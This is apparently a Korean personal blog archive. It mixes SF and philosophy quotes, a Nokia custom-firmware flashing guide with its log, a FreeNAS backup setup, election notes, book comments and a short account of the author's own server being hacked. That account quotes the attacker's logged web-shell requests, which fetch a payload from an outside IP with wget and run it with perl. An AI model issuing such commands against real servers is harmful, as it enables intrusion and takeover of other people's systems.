역병이 누구러든 지 겨우 10년 만에, 결딴났던 인류문명은 불사조처럼 다시 일어서 지구 궤도로, 달로, 화성으로 향했다. 그리고 이들을 만났다. 형태 없고 말 없고 분별없는 만행을, 우주의 어리석은 증오를.그는 차로 돌아가는 그녀의 뒤쪽에 손전등을 비추어 주었다. 개천이 소리쳐 대고, 나무들은 말없이 늘어져 있고, 하늘에서는 달이 노려 보고 있었다. 외계인의 달이.
새로 발견된 과학적 진실은 반대론자들을 설득하여 깨닫게 함으로써 성공을 거두는 것이 아니라, 반대론자들이 모두 죽은 후 새로운 진실에 익숙한 신세대가 과학을 이어받았을 때 비로소 성공을 거둘 수 있다.
물체복사기가 기적의 도구 임에는 틀림없지만, 사실 자연에는 이와 같은 기적이 이미 진행되고 있다. 고기와 야채를 9개월 동안 꾸준하게 공급하면 하나의 생명이 만들어지지 않는가! 생명이란 원자 규모에서 물질을 생체조직으로 변환시키는 천연 나노공장의 산물이다.
앞으로 생명체는 은하 전체, 또는 그 이상의 영역으로 퍼져나갈 것이다. 오늘날 생명체는 우주를 오염시키는 사소한 존재에 불과하지만, 앞으로 영원히 그런 존재로 남지는 않을 것이다. 이렇게 생각해야 마음이 편하다 -- Astronomer Royal Sir Martin Rees그거 참 위안이 된다.
플라톤은 다음과 같이 적어놓았다. "타인의 눈에 보이지 않게 된 사람은 남의 집에 침입하여 물건을 훔치고, 개인적인 원한으로 사람을 죽이고, 감옥에 있는 사람을 마음대로 풀어주는 등 방종한 행동을 할 수 밖에 없다. 투명인간이 되었는데도 이런 짓을 하지 않는 사람이 있다면, 사람들은 그를 불쌍한 얼간이라며 놀릴 것이다.
토리그비 에밀슨은 불확정성 원리를 놓고 다음과 같은 농담을 떠올렸다. "역사학자들은 하이젠베르크가 자신의 삶을 반추하다가 불확정성 원리를 발견했다고 하는데, 내가 보기에도 일리있는 주장이다. 어쩌다가 놀 시간이 나면 에너지가 부족하고, 시기가 적절하면 자신이 어디 있는지 알 수가 없다"
"You have to choose right now.""I choose bimbos."
"What?!""Hey, Lily, bimbos make me happy. Bimbos make me feel alive. Bimbos make me want to pretend to be a better man.""No, no, this is just a defense mechanism. because you're afraid of getting hurt. You're just confused.""Oh, I'm not confused, Lily. You know who is confused? Bimbos. They're easily confused. It's one of the thousand little things I love about them. I love their vacant, trusting stares; their sluggish, unencumbered minds; their unresolved daddy issues. I love them, Lily, and they love me. Bimbos have always been there for me, through thick and thin. Mostly thin."
민간 우주여행을 다녀온 안사리는 그 유명한 안사리 엑스프라이즈를 만들었고, 그게 훗날 구글 루나 엑스프라이즈(GLXP)로 발전했다. 다큐멘터리가 의외의 방향으로 진전되었다. 후반 40분은 그야말로... 아참, 알만한 사람은 다 아는 찰스 시모니는 돈지랄로 우주관광하는 백만장자로 나와 늘그막에 훈련받느라 고생했다. 천칭의 무게 중심이 잘 맞았던 다큐였고, 러시아가 우주관광산업으로 살림이 나아졌는지 도표를 곁들여 보여줬더라면 더 좋았을 것 같았다.
1리터 정도의 부피에 불과한 인간의 뇌가 그 안에 내포하고 있는 개념적이고 인지적인 가능성의 공간은 천문학적 우주 전체보다도 더 크다. 뇌의 이러한 놀라운 속성은 1000억개의 뉴런과 그들을 연결하는 100조개의 시냅스의 조합 때문이다. ... 뇌가 고유하게 가질 수 있는 시냅스 연결의 가능한 배열은 대략 계산해서 10의 100조승이다. ... 세스는 이 값에다가 '마음 Mind'이라고 이름붙였다. ... 전시실 한 가운데엔 윤기 나는 까만 받침돌 위에 물이 채워진 유리잔이 반짝이고 있었다. 그 옆엔 '이 유리잔 안에 있는 분자들의 가능한 배열의 수, 10^1,000,000,000,000,000,000,000,000'이란 문구와 함께 '당신이 있는 곳 You are here'이란 제목이 붙여졌다....
맥스는 이 전시를 좋아했다. 개막 전시회에서 그는 낄낄 웃으며 몇 작품엔 사인을 했고, 유리잔 앞에서는 넋이 빠져 황홀한 표정으로 서 있어서 그가 작품의 일부가 되었다는 착각을 줄 정도였다. ... 맥스가 유리잔 받침돌을 형해 몸을 돌리더니 잔을 들고는 마시기 시작했다.
..."다다이즘은 죽었다고들 하더군요.' 세스가 이쪽으로 걸어와 이를 드러내고 씩 웃으며 맥스에게 말했다. 그가 잔을 집어 건배하는 포즈를 취하더니, 잔을 가지고 화장실로 걸어갔다. 예술은 영원하다. 영감의 샘물은 다시 채워질 것이므로.
"맞아요, 우린 얽혀 살고 있어요. 특히 사랑에 있어 가장 심하게 얽혀 있죠. 사랑하는 사람은 우주도 감싸죠. 마침내 사랑은 층층이 의미로 겹쳐 쌓여 있는 모든 것을 적셔요. 그것이 의식의 핵심 전부예요. 그리고 사랑은 궁극적으로는 현상학이죠."그녀가 고개를 끄떡였다. "그대의 혀가 지칠 때까지 말해 봐요."
철학은 보통 위험한 직업이 아니다. 소크라테스 사건 이후 철학자들은 사망에 이를 수 있는 자신들의 최고 사상을 조심스레 감췄다. ... '새로운 것'은 철학자들이 가장 마지막으로 직면하는 것이란 생각이 들었다. 소크라테스가 죽고 나서 우리 철학자들은 플라톤에게 칼을 들이대며 다른 일을 하게 되었다. 사형당하지 않은 몇몇 그리스 철학자들로부터 우리가 익히 배운 것은, 아주 조금이라도 '새로운 것'은 재빨리 '옛 것과 같은 것'이거나 '거짓'이거나 아니면 잘해 봐야 둘 모두인 것으로 판명난다는 점을 확실히 해 두는 것이다. '진실'은 무엇인가? 철학 대학원생이면 누구나 우리의 신념의 내적 일관성과 신념과 세계의 일치에 대해 재빨리 대답할 것이다. '진실'을 고집하기만 하면 영원히 바쁘게 뛰어 돌아다녀야 할 것이다. 그것이 은퇴해서 연금을 받는 것보다 낫다.
"그런데 우리는 왜 죽음의 순간에 맞닥뜨렸을 때야 비로소 살아 있다는 것을 깨달을까요?" 그가 물었다."현상학의 전율의 또 다른 경우군요." 그가 머리를 굴리는 것 같았다."내 학위논문 제목이에요. 나는 진정한 현상학적 존재론은 실재하는 무엇을 바로 직면하고 있을 때만 일어난다고 주장합니다. 합리성을 이해하기 위해선 황폐해져 봐야 하고, 사랑의 밑바닥까지 가 보려면 바보처럼 곤두박질쳐 봐야 하고, 세상이 뭔지 알려면 죽어봐야 하는 것이죠."
"모든 것이 어떤가, 그것이 정말 문제이지 않습니까? 그 어떤 것도 어떻게 그것이 될 수 있나요?""내가 아는 모든 것은, 경험과 세계는 하나란 겁니다. 하나. ... 각각 하나의 패턴이 하나의 경험입니다. 그 패턴들이 뇌에 있죠. 각 패턴은 주체와 객체가 함께 하는 완전한 패키지입니다. 그 패턴은 모든 사물에 대해 우리가 갖고 있는 관계를 이미지화한 것이죠. 그것은 우리 앞에 놓인 세계뿐 아니라 과거와 미래도 포함합니다. 그 모든 것은 그 어느 것보다 더 실재적이죠. 결국 미로는 현실이고 패턴들은 세계입니다. 그 패턴들은 스스로를 드러내 보이는 세계입니다. 세계는 자기 스스로를 보일 때만 존재할 수 있습니다. 그것이 바로 '세계'가 뜻하는 것이자 '세계'의 본질이기도 합니다."
"당신 학과에 누가 있더라? 칸트? 그가 아직 거기 있나?""아뇨, 죽었습니다.""아, 명예 교수로군 강의가 줄었겠군, 응?""그렇죠.""결국 우리는 모두 분해되지, 어? 재는 재로, 텍스트는 텍스트로. 만나서 반가웠어."
누군가 연구를 시작하면, 하나의 산이 산으로 보인다. 그리고 연구가 좀 이루어지고 나면, 그 산은 더 이상 산으로 보이지 않는다. 그러나 그 후 연구를 완수하고 나면 그 산은 다시 하나의 산이 된다.산은 산이다. 산도 산이고.
세 지표, t, tr, s가 모두 공유하는 것은 뇌가 분산처리 장치란 가정이다. 그 가정 아래에서는 뇌의 어떠한 영역도 많은 기능에 기여할 수 있다. 실제로, 다변수 유사성 측정은 뇌의 모든 부분은 잠재적으로 모든 기능과 관련이 있다는 진보적인 가정을 받아들인다.
V20 정식 펌웨어가 7월 22일 한국 노키아에서 발표되었다. 정식 펌웨어를 사용하면 HelloOX가 작동하지 않아 unsigned apps를 사용할 수 없다. 따라서 V20 정식 펌웨어를 수정한 커스텀 펌웨어(소위 '커펌')을 사용하던가 사이닝이 되지 않은 앱을 모두 사이닝해서 설치하는 수 밖에 없다. 전자가 후자보다 매력적인 이유는, 단지 사이닝 문제 뿐만 아니라, 커펌에는 여러 가지 편리한 mod가 꽤 많이 적용되어 있다는 것 때문. 22일 정식 펌웨어가 올라오고 일주일 정도 기다리니 노키아 사용자 모임에 쓸만한 커스텀 펌웨어들이 올라오기 시작했다.
V20 펌웨어를 설치하면 좋아지는 것:
- 키네틱 스크롤링 -- 별반 매력이 느껴지지 않음
- mp3p UI 개선 -- 역시 별로...
- 웹 브라우저 개선 -- 좋다.
- ovimap 3.x 설치 가능 -- 한국을 제외한 약 70여개국 routable map이 무료! 한국 지도가 들어가면 값싼 노키아폰이 상당한 매력이 생기지만 한국 노키아의 마케팅 포인트가 그런 돈벌이와는 무관해 보였다.
V10 펌웨어에서 V20 펌웨어 또는 커스텀 펌웨어로 업그레이드할 때 PC Suite의 backup으로 백업본을 만든 후 펌웨어 업그레이드를 하면 복구가 잘 안되는 것 같다. 그냥 app 재설치하는 것이 가장 나은 듯.
작업 절차
휴대폰을 PC와 대용량 저장소로 연결 후:
- microSD 카드에서 필요한 파일들 백업
- microSD 포맷 (빠른 포맷)
휴대폰 c 드라이브 초기화 *#7370#
커스텀 펌웨어로 업그레이드
- 노키아 사용자 모임의 펌웨어 업그레이드 하는 법 참조.
- 필수유틸모음 다운로드 후 적당한 디렉토리에 푼다.
- JAFSetup_1.98.62.exe 설치 ( windows 7 64bit에서는 실행되지 않는다. windows 7 및 windows xp에서 실행 확인.)
- jaf_nok4models.ini 파일을 c:/program files/odeon/JAF에 복사
- 순정 V20 firamware 다운로드 (navifirm으로 다운받아도 됨). 다운 받은 순정 v20 firmware 파일을 풀어 C:\Program Files\Nokia\Phoenix\products\RM-356\ 에 모두 복사
- 적당한 custom firmware를 노키아 사용자 모임에서 다운로드. 다운받은 RM-356_20.7.006_KT_8000_GRAY_prd.rofs3 파일을 C:\Program Files\Nokia\Phoenix\products\RM-356\ 디렉토리에 덮어씀
- OGM_JAF_PKEY_Emulator_v 5.exe 파일 실행 후 '펌웨어 업그레이드 하는 법' 대로 실행.
- 경고 다이얼로그 클릭 후 파워 온 해서 휴대폰이 인식되면 업그레이드를 시작한다. 업그레이드에는 1분 가량 걸림.
- 커스텀 펌웨어 원리: rofs는 아마도 read only file system의 약어로 추측됨. 원래 rom 파일에 업체별 커스터마이즈를 rofs2 또는 rofs3 파일에 저장해 두면 파일을 찾을 때 우선 순위가 rofs3, rofs2, 오리지널 롬 순으로 되는 것 같다. 휴대폰의 OS 및 파일 시스템 원본 파일(*.C00)은 수정 할 필요없이 rofs2 또는 rofs3 파일 시스템의 파일을 변경한 것이 커스텀 펌웨어이다. rofs3 파일 시스템의 변경은 무슨 중국 에디터로 하면 되는 것 같은데, 귀찮아서 찾아보지 않았다.
JAF version 1.98.62
Detected PKEY: 90009699
Card life counter: 99.99%
P-key nokia module version 01.02
FBUS INTERFACE NOT CONNECTED!!!
USB Cable Driver version: 7.1.29.0
Changing mode...Done!
FILES SET FOR FLASHING:
MCU Flash file: NONE
PPM Flash file: NONE
CNT Flash file: NONE
APE Variant file: NONE
Searching for JAF saved location of ini...
Checking path: C:\Program Files\Nokia\Phoenix\Products\RM-356\Searching for default location of ini...
Checking path: \Products\RM-356\
Searching for JAF saved location of ini...
Checking path: C:\Program Files\Nokia\Phoenix\Products\RM-356\
Scanning ini files...
Searching for default location of ini...
Checking path: \Products\RM-356\
Checking path: C:\Program Files\Nokia\Phoenix\Products\RM-356\
FILES SET FOR FLASHING:
MCU Flash file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.core.C00
PPM Flash file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.rofs2.V32
CNT Flash file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_KT_8000_GRAY_prd.rofs3.fpsx
APE Variant file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM356_20.7.006_001_000_U01.uda.fpsx
Languages in ppm: English,Korean
Detected P-KEY: 90009699
P-key nokia module version 01.02
Init usb communication...
PRESS POWER ON NOW!Searching for phone...Found
Sending RAW loader...
Using 009.012.005
Elf2flash 09.11.000
CMT RAW loader...
Patching RAW boot step1...
Patching RAW boot step2...
Patching RAW boot step3...
Sending RAW Loader...
....................Loader Sent!
Stage 2 starting..................PUBKEYS already sent...
PUBKEYS already sent...
PUBKEYS already sent...
PUBKEYS already sent...
PUBKEYS already sent...
...........Phone prepared OK!
Waiting for the phone to boot...
Searching for phone...
Status byte: 8000
Selecting CMT flash...
Result: 0000
Phone is in flash mode...
CMT blocks: 567, APE blocks: 0
Erasing cmt...
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.core.C00...
Erasing cmt zone 00040000 - 00082FFF ... Erase result: 0000
Erasing cmt zone 00083400 - 003FFFFF ... Erase result: 0000
Erasing cmt zone 00400000 - 007FFFFF ... Erase result: 0000
Erasing cmt zone 00800000 - 00D5FFFF ... Erase result: 0000
Erasing cmt zone 00D60000 - 09E5FFFF ... Erase result: 0000
Partition result: 0014
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.rofs2.V32...
Erasing cmt zone 07180000 - 0915FFFF ... Erase result: 0000
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_KT_8000_GRAY_prd.rofs3.fpsx...
Erasing cmt zone 09160000 - 09E5FFFF ... Erase result: 0000
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM356_20.7.006_001_000_U01.uda.fpsx...
Erasing cmt zone 09E60000 - 0F71FFFF ... Erase result: 0000
Send CMT CFG...Writing cmt...
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.core.C00...
Sending CMT HASH for ADA
Sending CMT HASH for KEYS
Sending CMT HASH for PRIMAPP
Sending CMT HASH for RAP3NAND
Sending CMT HASH for PASUBTOC
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected
cmt->PAPUB_CERTIFICATE_DATA_BB5 block detected, sending...
cmt->PAPUB keys already sent...
Sending CMT HASH for SOS*UPDAPP
Sending CMT HASH for SOS*ENO
Sending CMT HASH for SOS*DSP0
Sending CMT HASH for SOS*ISASW
Sending CMT HASH for SOS+CORE
Sending CMT HASH for SOS+ROFS1
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.rofs2.V32...
Sending CMT HASH for SOS+ROFS2
Write result 27: 1701
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_KT_8000_GRAY_prd.rofs3.fpsx...
Sending CMT HASH for SOS+ROFS3
Write result 27: 1701
Processing C:\Program Files\Nokia\Phoenix\Products\RM-356\RM356_20.7.006_001_000_U01.uda.fpsx...
Rebooting...
Finishing CMT session...
Restarting CMT...
Pooling phone...
MCUSW: V ICPR72_09w20.18
12-05-10
RM-356
(c) Nokia
APESW: V 20.7.006
VariantSW: V 20.7.006
Prodcode: 0588615
Setting test mode...
Setting FULL FACTORY...
Operation took 0 minutes 7 seconds...
Done!
Done!
ROMPatcher Plus 실행: Install Server RP+를 녹색으로 바꾸고 Options에서 'Add to Auto' 설정. 이래야 리부팅해서도 자동으로 적용된다.
auto installer가 포함되어 있는 커스텀 펌웨어면 휴대폰을 pc와 대용량 저장소로 연결 후 microSD의 다음 디렉토리에 파일을 복사해 놓는다:
- /thinkchange/c 에는 휴대폰의 c에 설치할 .sis 파일 복사
- /thinkchange/e 에는 휴대폰의 e에 설치할 .sis 파일 복사
- 커펌에 포함되어 있는 autoinstaller를 실행해 약 43개의 sis app를 설치. 3개 정도는 설치가 되지 않았다.
(내 경우) microSD 포맷 전에 복사해 둔 디렉토리중 아래 디렉토리를 microSD에 다시 복사.
- Garmin -- 지도 .img 파일들 및 sw.unl 파일(라이센스 파일)
- Images -- 바탕화면 이미지
- Resource/Fonts/ -- 맑은 고딕 폰트를 아래 이름으로 변경해서 넣어둠. 부팅후 적용됨.
- S60ZDIGI.ttf
- Series60Korean.ttf
- s60dict/ -- 영어사전,영한사전, 한글위키(2010-2월 버젼)
- SportsTracker2
PC Suite로 휴대폰과 연결 후 outlook과 데이터 동기화
하고 나서 달라진 점: 딱히 감동스러운 것은 없다. ovi map으로 태국 여기 저기 둘러보았다. 배터리 사용시간이 줄어들었다. 커펌 처음할 때는 microSD를 지우지 않았는데, 그 때문인 것 같아 microSD를 제대로 포맷했다. 이틀 쯤 지켜보았는데 배터리 시간이 예전과 비슷한 수준으로 돌아왔다.
커펌을 하고 나서 테마 정도만 변경되고 새로운 앱을 설치한 것이 아니라서인지 특별히 좋다거나 나쁘다거나 할 수 있는 부분이 적었다.
안드로이드 폰이 버스폰이 될 때까지 한시적으로 사용한다는 목적으로 5800을 사용했다. 아이폰4가 얼른 출시되어야 다른 안드로이드폰의 가격이 떨어질텐데, 9월까지 커펌으로 근근이 버티면서 느긋하게 기다려보련다.
본의 아니게 나처럼 미니멀리즘 라이프스타일을 추구하는 박씨(진보신당빠)와 술도 안 먹고 열을 내며 6.2지방선거에 관해 서로의 아름다운 견해를 격렬하게 교환했다.
아내는 요즘 현미를 먹었다. 어디서 책 한두 권 보고 혹했지 싶다. 현미는 그야말로 온갖 성인병에 즉효한 건강식이라고 극찬을 받는 것 같다. 현미를 별로 좋아하지 않지만 아내가 이미 쌀독에 현미를 붓고 섞어 버렸다. 지난 수천 년 동안 아시아 국가 대부분에서 양과 질을 포기하면서 까지 왜 쌀 도정을 해 왔는가, 풍부한 섬유소에 영양만빵인 현미라지만 소화가 안 되면 말짱 황이다, 내가 소인가? 입에서 백 번씩 씹어 목으러 넘긴다니 라고 궁시렁거리며 그걸 먹어야 했다. plain rice가 먹고 싶다... 주말에나 집에서 간혹 먹게 되는 소위 '집밥'인데, 내가 먹고 싶은 걸 먹지 못해 기분이 별로다. 집에 놀러온 손씨는 아내 하는 짓이 내심 부러웠던지 날더러 대체 왜 결혼한건지 모르겠다고 말했다.그러게 말이다. 세상에 대한 보은심으로 밖에 설명되지 않을 것 같다.
아이 이름이 특이한데다 툭하면 온갖 사람들에게 인사하는 바람에 동네 여기저기서 아이를 알아보는 사람들이 많았다. 히키코마리 처럼 소심하고 비사회적인 아버지와 귀염성 있는 딸 애가 거리에서 함께 마주치는 떨떠름한 상황들은 여전히 익숙해지지 않는다.
팀 파워즈, 라미아가 보고 있다 -- 오랫만에 보는 활기찬 고딕풍 소설. 바이런, 셀리, 키츠가 고대의 뮤즈에 얽혀 운명에 농락당하며 뭐하나 제대로 해내지 못하는 의지박약아로 나왔다. 기억하기론 번역서의 가제가 '시인의 피'였다. 역자는 김씨나 최씨가 될 줄 알았지만 김씨가 번역하고 제목도 바뀌었다(팬덤과 상관없어지다 보니 몇 년째 그걸 모르고 있었다). 라미아가 보고 있다나 시인의 피나 메두사의 눈길이나 다 좋은 제목이다.
찰리 휴스턴, 이미 죽다 -- 라미아 때문에 피맛이 당겨 뱀파이어 느와르물을 하나 더 찾아 읽었다. 비행기 기다리다가 가볍게 읽으며 시간 때우기 적합했다. 인용:
"시간 좀 있어 조?""시간이 엄청 많으 지도 모르지. 그동안 조금씩 모아온 시간이 꽤 될지도 몰라. 하지만 그건 나 혼자 쓰고 싶은데, 대체 무슨 일인데 그래?"내 삶을 들여다본다. 부족한 것이 많다. 하지만 누가 뭐래도 내 인생이다. 매일 조금씩 벼랑 끝으로 다가가는 느낌이다. 언젠가는 발밑의 땅이 꺼지면서 나락으로 떨어질 것이다.상관없다.내 인생이라고 남들과 달라야 할 이유는 없으니까.
- 아, 그럴 때는 절대로 논란이 없습니다. 드웰러는 그에 대한 문제 해결 방법을 가지고 있거든요.
- 문제 해결 방법요?- 우아함이 그 방법입니다.'뭐 당신은 그걸 뭐라 부르든 객관적 진실이라는 저속하고 절박한 필요성에 지나치게 얽매이려 하지 않는다면 말이오. 어떻게 생각하시오?''제 기억은 왠지 흐릿해서요. 아무래도 당신이 하는 말은 하나도 틀린 데가 없다고 증언하게 될 것 같네요.' 파신이 말했다.

FreeNAS의 장점
- 싸다.
- 내 맘대로 삽질해서 꾸밀 수 있다.
FreeNAS 시스템 구성
System->General
RAID1 구성
Disks->Management->Add(+)
Disks->Software RAID->RAID1
Disks->Format
Disks->Mount Point->Management
사용자 추가, 디렉토리 설정
Access->Users and Groups->Add(+)
서비스 설정
Services->CIFS/SMB (Enable)
Services->Secure Shell (Enable)
Services->Unison (Enable)
Services->Dynamic DNS
Unison Setup
디렉토리 생성
$ mkdir -p /mnt/raid/user/natas$ mkdir -p /mnt/raid/share
백업 스크립트 생성 (/mnt/raid/user/natas/backup)
$ cat >/mnt/raid/user/natas/backup#!/bin/shexport HOME=/mnt/raid//usr/local/bin/unison -batch -silent /mnt/raid/share ssh://192.168.123.100//mnt/raid/share 2>&1^D$ chmod +x /mnt/raid/user/natas/backup
SSH 키 생성
$ su -...# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root//.ssh/id_rsa):Enter passphrase (empty for no passphrase):Enter same passphrase again:
# scp ~/.ssh/id_rsa.pub 192.168.123.100:~/.ssh/authorized_keys# ssh 192.168.123.100Last login: Thu May 20 18:41:00 2010 from 192.168.123.199Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994The Regents of the University of California. All rights reserved.Welcome to FreeNAS!# exit#
Unison Test
# cd /mnt/raid/natas# ./backupConnected [//main-nas.local//mnt/raid/share -> //backup-nas.local//mnt/raid/share]Warning: No archive files were found for these roots, whose canonical names are:/mnt/raid/share//backup-nas.local//mnt/raid/shareThis can happen eitherbecause this is the first time you have synchronized these roots,or because you have upgraded Unison to a new version with a differentarchive format.Update detection may take a while on this run if the replicas arelarge.Unison will assume that the 'last synchronized state' of both replicaswas completely empty. This means that any files that are differentwill be reported as conflicts, and any files that exist only on onereplica will be judged as new and propagated to the other replica.If the two replicas are identical, then no changes will be reported.If you see this message repeatedly, it may be because one of your machinesis getting its address from DHCP, which is causing its host name to changebetween synchronizations. See the documentation for the UNISONLOCALHOSTNAMEenvironment variable for advice on how to correct this.Donations to the Unison project are gratefully accepted:http://www.cis.upenn.edu/~bcpierce/unison
# cd /mnt/raid/user/natas# ./backupConnected [//main-nas.local//mnt/raid/share -> //backup-nas.local//mnt/raid/share]
# cp -r /root/.ssh /mnt/raid/user/natas/.ssh_root
그 다음 NAS의 web에서 부팅 후 실행할 명령으로 등록.
System->Command scripts->+ Command: cp -r /mnt/raid/user/gstech/.ssh_root /root/.ssh Type: PostInit
cron job으로 등록
The archive file is missing on some hosts.For safety, the remaining copies should be deleted.Archive arc5fcde3990570240836f07c4d9dd3a43 on host gstech-nas.local is MISSINGArchive arc2bd324e34ece9d322c9e5b4e3e219f3 on host gstechlab-nas.local should be DELETEDPlease delete archive files as appropriate and try again.
# ssh 192.168.123.100...# rm -fr /mnt/raid/.unison/*# exit# rm -fr /mnt/raid/.unison/*
RAID 사고 대처
그래서 이번 선거에 찍을 물고기를 골랐다. 야권 후보 단일화 경선에 참여했다. 유시민은 아슬아슬하게 이겼고 민주당은 뒷끝이 깔끔했다. 경기도 교육감은 김상곤, 경기도지사는 유시민으로 별 생각없이 선택할 수 있게 되었지만 나머지는 쇼핑에 시간이 걸렸다. 김상곤은 무상급식, 무상교육을 대표공약으로 들고 나왔다. 알고 보니 전국 대부분의 교육감 후보들이 진보 진영의 아젠다를 토씨 하나 안 빼먹고 똑같이 사용하고 있다 -- 이명박 정권 교육 정책이 병맛 같아서 그럴까, 아니면 무상급식의 파괴력에 단지 눈치보기를 하는 것일까, 아니면 투표율에 기대 진보 쪽의 표를 분산시키는 고도의 정치공작일까...
- 경기도지사: 유시민(국참당) -- '도지사가 가진 모든 권한을 이용해서 4대강 사업을 방해하겠다' 라고 유시민이 말했다. 바람직하다. '삽질 지옥, 투표 천당' 재밌는 것이 도지사 후보들 모두 전과자다.경기도의회의원: 한성우(민노당) -- 후보중 한나라당의 정금란와 친박연대의 이상진은 수원시의회, 도의회의원을 꾸준히 해온 인물인데 한나라당 출신답게 그 동안 한 일이 거의 없다는 당연한 기사를 보았다. 이사온 지 얼마 안되어 충분한 자료가 없어 아쉽다. 일단 한성우는 김상곤 교육감 후보와 일했던 사람.수원시장: 염태영(민주당) 또는 유덕화(진보신당) -- 야권 후보 단일화로 선출된 염태영의 잡화점 공약이 마음에 안든다. 전 시장이 심재인을 밀어주면 유덕화나 염태영은 모두 나가리가 될 가능성이 높ㅈ만 남은 기간동안 틈틈이 공약을 벤치마크해서 최종 결정하겠지만 공약 보니 마음이 벌써 유덕화에게 가 있다.수원시의원: 이미영(민노당) -- 우리 아파트 동대표. 몇 개월 전에 동네 수퍼에서 봤다.아파트의 아줌마들 사이에선 자식들 팽개치고 민노당에 미쳐 선거판에 뛰어들었다는 평을 듣는다. 달리 말하면 아이들에게 참교육 시킬려고 방목한다는 얘기도 된다. 동네 마녀들의 시기심이야 뭐 개무시하고.경기도교육감: 김상곤. 이 양반 말고 대안이 있나? 당신을 향한 나의 사랑은 무조건 무조건이야~경기도교육의원: 류귀현. 중학교 교사. 대다수 후보가 10억 가량의 재산을 가지고 있었다. 그보다는 유일한 전과자(전교조)라서 뽑았다. 교육감과 마찬가지로 선택의 여지가 없지 않은가?
그런데 내 사랑 김보영은 장편 안 쓰고 뭐 하고 있을까? (그의 인생에 별 관심 없다. 글만 보는 편이라서.) 본인은 르귄같은 인간이 될 지, 르귄 짝퉁같은 인간이 될 지, 전혀 가망성은 없어 보이는 모던 SF 작가가 될지, 제 4의 길을 선택해 빌빌대는 SF작가가 될지 감이 안 잡히는데(한창 성장중인 청소년 처럼). 김보영을 좋아하는 이유는 단순했다. 찌든 구석이 없어 수 차례 갈구고 제련하고 자진해서 장염과 위경련에 시달리면 작품이 나올 것 같다. 구체적으로는 그 한가한 문체는 집어치우고 돈을 들여서라도 성전환 수술을 한 다음 심상언어를 한국어로 효과적으로 번역하는 피나는 연습을 거치고 입은 꼬매도 한번 글로 지껄이면 씨줄로 지식과 교양이 날줄로 비단결같은 감수성이 시냇물처럼 끝없이 졸졸 흘러 나와 엮이고 합쳐져 강으로 바다로 모이듯 집성되고 교미해도 임신 안될 것 같은 얼음여왕처럼 자기 글을 사정없이 재단할 수 있으면 정말 좋을 것 같다. 소설가는 모름지기 눈 앞에 당근을 애원하는 절박한 당나귀가 되어야 바람직하므로, 연애에 실패해서 몬테솔로로 늙어가면서 오직 돈과 지랄맞은 취향을 쫓다가 망하는 비운이 곁들여지면 금상첨화다.
아참. 훌륭한 소설가에겐 인격 같은 건 필요없으니 예절이나 눈치, 인간관계 증진용 SNS는 멀리하는 것도 좋을 것 같다. 좋은 작품엔 할 수 없이 고통이 따른다 으쓱. 그래야 김보영이 장편에 전념할 수 있을 것 같다. 장편 집필에 방해되니까 다리는 스스로 잘라 버리는 게 낫지 않을까? 별별 짓을 다해도 뮤즈가 깃드는 건 천운이지만, 이 빌어먹을 나라에선 글쟁이의 글에서 열정과 광기가 느껴지지 않아. 일단 문장력이 형편없어 힘이 후달리지. 어떻게 소설가란 것들이 '글'을 못 쓸까? 김보영이 무럭무럭 자랐으면 좋겠다.
일 트위터가 화장실 곤경남을 살렸다 -- 심비안 OS에는 Gravity라는 걸출한 SNS 프로그램이 있다. 그래비티를 설치해서 휴지나 배달해 달라고 해볼까? 하지만 소셜라이즈 되는 건 정말 싫어서...
노키아 휴대폰에서 누구나 인정하는 명작 앱인 스포츠트래커는 버전업하면서 트랙로그의 업로드를 당분간 막아 놓았다. 얼마나 더 훌륭해지려고 그럴까? 업그레이드 된 스포츠트래커는 UI가 깔끔하다. 그리고 드디어 OSM 지도를 사용하기 시작했다(나를 비롯해 전세계의 수많은 스포츠 트래커 사용자들이 노키아에 청원했다). 이전 버전과 전력 소비량을 비교해 봤더니 66mA(이전)에서 69mA로 전류 소비량이 약간 늘었지만 눈에 띄는 정도는 아니다. 다만 새 버전에서는 지도를 다운로드 받아 보기를 하면 전력 소비가 현저하게 늘어났다.
4월 1일. 5불 생활자 카페에서 온 메일: 5불생활자 세계일주 클럽 자체 추첨 결과 EBS 세계테마기행 후속편으로 기획된 '인류, 세계문화기행'에 ujulman2010과 내가 대표로 추첨되었다. 8개월 동안 4대륙 27개국을 여행하는데, 경비 일체를 제공하고 훗날 책으로 만들어 준단다. 낄낄 웃었다.
http://www.theplastiki.com/ -- 명분을 만들어 이런 일도 한다. 정말 잘 논다. 부자 되면 나도 해야지.
3/25 zeroboard의 버그를 이용한 php script code injection에 의해 서버가 해킹 당했다. 좀비 서버로 사용해 다른 서버를 해킹하기 위한 용도로 사용한 것 같다. 해킹 당하기 전 부터 zeroboard의 버그를 알고 있었는데 (data/shell.php) zeroboard XE로 교체한 후 예전 소스를 안 지웠다. logwatch를 보고 있었음에도 최근에 바빠서 건성건성 쳐다보다가 당한 셈. http 로그에는 이렇게 남았다:
GET /bbs//data/shell.php?cmd=uname -a
GET /bbs//data/shell.php?cmd=wget http://194.160.227.34/ize;perl ize 193.231.196.100 80
토요일에 산에 가려다고 서버가 그 모양이 되서 원인 파악하고 해결 하느라 오전을 보냈다. 하는 수 없이 자전거를 타고 나갔다. 무수한 MTB를 신나게 추월해서 광교산 입구에 다다라 쉬고 있는데 추월한 아저씨들이 옆길로 올라가는 것이 보였다. 호기심에 그들을 따라 갔다. 광교산 입구에서 통신대까지 도로가 나 있는 것 같다.
